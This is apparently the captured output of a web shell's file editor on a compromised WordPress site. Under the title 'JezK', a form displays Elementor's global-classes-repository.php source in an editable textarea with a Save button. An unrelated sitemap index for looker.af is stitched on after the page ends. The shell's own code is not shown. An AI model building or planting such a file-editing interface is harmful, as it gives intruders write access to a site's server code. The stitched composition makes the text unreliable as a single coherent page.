
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: global-classes-repository.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace Elementor\Modules\GlobalClasses;

use Elementor\Core\Base\Document;
use Elementor\Core\Utils\Collection;
use Elementor\Modules\AtomicWidgets\Elements\Atomic_Element_Base;
use Elementor\Modules\AtomicWidgets\Elements\Atomic_Widget_Base;
use Elementor\Modules\GlobalClasses\Utils\Atomic_Elements_Utils;
use Elementor\Plugin;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

class Global_Classes_Repository {

	const META_KEY_FRONTEND = &#039;_elementor_global_classes&#039;;
	const META_KEY_PREVIEW = &#039;_elementor_global_classes_preview&#039;;

	const CONTEXT_FRONTEND = &#039;frontend&#039;;
	const CONTEXT_PREVIEW = &#039;preview&#039;;

	private string $context = self::CONTEXT_FRONTEND;

	public static function make(): Global_Classes_Repository {
		return new self();
	}

	public function context( string $context ): self {
		$this-&gt;context = $context;

		return $this;
	}

	public function all() {
		$meta_key = $this-&gt;get_meta_key();
		$all = $this-&gt;get_kit()-&gt;get_json_meta( $meta_key );

		$is_preview = static::META_KEY_PREVIEW === $meta_key;
		$is_empty = empty( $all );

		if ( $is_preview &amp;&amp; $is_empty ) {
			$all = $this-&gt;get_kit()-&gt;get_json_meta( static::META_KEY_FRONTEND );
		}

		return Global_Classes::make( $all[&#039;items&#039;] ?? [], $all[&#039;order&#039;] ?? [] );
	}

	public function put( array $items, array $order ) {
		$current_value = $this-&gt;all()-&gt;get();

		$updated_value = [
			&#039;items&#039; =&gt; $items,
			&#039;order&#039; =&gt; $order,
		];

		// `update_metadata` fails for identical data, so we skip it.
		if ( $current_value === $updated_value ) {
			return;
		}

		$meta_key = $this-&gt;get_meta_key();
		$value = $this-&gt;get_kit()-&gt;update_json_meta( $meta_key, $updated_value );

		$should_delete_preview = static::META_KEY_FRONTEND === $meta_key;

		if ( $should_delete_preview ) {
			$this-&gt;get_kit()-&gt;delete_meta( static::META_KEY_PREVIEW );
		}

		if ( ! $value ) {
			throw new \Exception( &#039;Failed to update global classes&#039; );
		}

		do_action( &#039;elementor/global_classes/update&#039;, $this-&gt;context, $updated_value, $current_value );
	}

	private function get_meta_key(): string {
		return static::CONTEXT_FRONTEND === $this-&gt;context
			? static::META_KEY_FRONTEND
			: static::META_KEY_PREVIEW;
	}

	private function get_kit() {
		return Plugin::$instance-&gt;kits_manager-&gt;get_active_kit();
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
